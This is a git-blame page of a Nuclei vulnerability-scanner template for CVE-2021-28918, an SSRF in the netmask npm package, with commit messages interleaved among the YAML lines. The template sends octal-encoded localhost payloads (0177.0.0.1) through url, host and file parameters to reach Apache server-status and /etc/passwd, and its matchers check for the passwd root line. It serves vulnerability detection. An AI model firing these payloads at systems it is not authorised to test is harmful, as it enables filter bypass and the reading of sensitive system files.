daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity
nuclei-templates/cves/2021/CVE-2021-28918.yaml

39 lines
1.2 KiB
YAML
Raw Normal View History

Create Netmask SSRF Template The basic test to fuzz for the netmask SSRF vulnerability would be to use an Octal payload that resolves to the localhost. I limited it to 4 basic testing payloads as to not slow down the speed of a full-length CVE directories test.
2021-07-06 06:50:43 +00:00
id: CVE-2021-28918
info:
Added an additional check Hello, when you get the change, please check the changes. I removed some of the methods and cleaned it up + made a matcher for /etc/passwd. Thanks!
2021-09-03 04:48:24 +00:00
name: Netmask npm Package SSRF
Create Netmask SSRF Template The basic test to fuzz for the netmask SSRF vulnerability would be to use an Octal payload that resolves to the localhost. I limited it to 4 basic testing payloads as to not slow down the speed of a full-length CVE directories test.
2021-07-06 06:50:43 +00:00
author: johnjhacking
minor update
2021-07-06 07:11:16 +00:00
severity: critical
Update CVE-2021-28918.yaml Removed version as multiple reference includes multiple versions.
2021-07-06 07:15:50 +00:00
description: Improper input validation of octal strings in netmask npm package allows unauthenticated remote attackers to perform indeterminate SSRF, RFI, and LFI attacks on many of the dependent packages. A remote unauthenticated attacker can bypass packages relying on netmask to filter IPs and reach critical VPN or LAN hosts.
minor update
2021-07-06 07:11:16 +00:00
tags: cve,cve2021,npm,netmask,ssrf,lfi
reference: |
- https://github.com/sickcodes/security/blob/master/advisories/SICK-2021-011.md
- https://nvd.nist.gov/vuln/detail/CVE-2021-28918
Update CVE-2021-28918.yaml Removed version as multiple reference includes multiple versions.
2021-07-06 07:15:50 +00:00
- https://github.com/advisories/GHSA-pch5-whg9-qr2r
Create Netmask SSRF Template The basic test to fuzz for the netmask SSRF vulnerability would be to use an Octal payload that resolves to the localhost. I limited it to 4 basic testing payloads as to not slow down the speed of a full-length CVE directories test.
2021-07-06 06:50:43 +00:00
requests:
- method: GET
path:
- "{{BaseURL}}/?url=http://0177.0.0.1/server-status"
Added an additional check Hello, when you get the change, please check the changes. I removed some of the methods and cleaned it up + made a matcher for /etc/passwd. Thanks!
2021-09-03 04:48:24 +00:00
- "{{BaseURL}}/?host=http://0177.0.0.1/server-status"
- "{{BaseURL}}/?file=http://0177.0.0.1/etc/passwd"
minor update
2021-07-06 07:11:16 +00:00
Create Netmask SSRF Template The basic test to fuzz for the netmask SSRF vulnerability would be to use an Octal payload that resolves to the localhost. I limited it to 4 basic testing payloads as to not slow down the speed of a full-length CVE directories test.
2021-07-06 06:50:43 +00:00
matchers-condition: and
matchers:
- type: status
status:
- 200
Added an additional check Hello, when you get the change, please check the changes. I removed some of the methods and cleaned it up + made a matcher for /etc/passwd. Thanks!
2021-09-03 04:48:24 +00:00
Create Netmask SSRF Template The basic test to fuzz for the netmask SSRF vulnerability would be to use an Octal payload that resolves to the localhost. I limited it to 4 basic testing payloads as to not slow down the speed of a full-length CVE directories test.
2021-07-06 06:50:43 +00:00
- type: word
Fixing Trailing Spaces As stated.
2021-07-06 07:05:03 +00:00
part: body
Create Netmask SSRF Template The basic test to fuzz for the netmask SSRF vulnerability would be to use an Octal payload that resolves to the localhost. I limited it to 4 basic testing payloads as to not slow down the speed of a full-length CVE directories test.
2021-07-06 06:50:43 +00:00
words:
- "Apache Server Status"
Update CVE-2021-28918.yaml Fixing trailing spaces.
2021-07-06 07:03:18 +00:00
- "Server Version"
Added an additional check Hello, when you get the change, please check the changes. I removed some of the methods and cleaned it up + made a matcher for /etc/passwd. Thanks!
2021-09-03 04:48:24 +00:00
condition: and
- type: word
part: body
words:
- "root:x:0:0:root:"
condition: or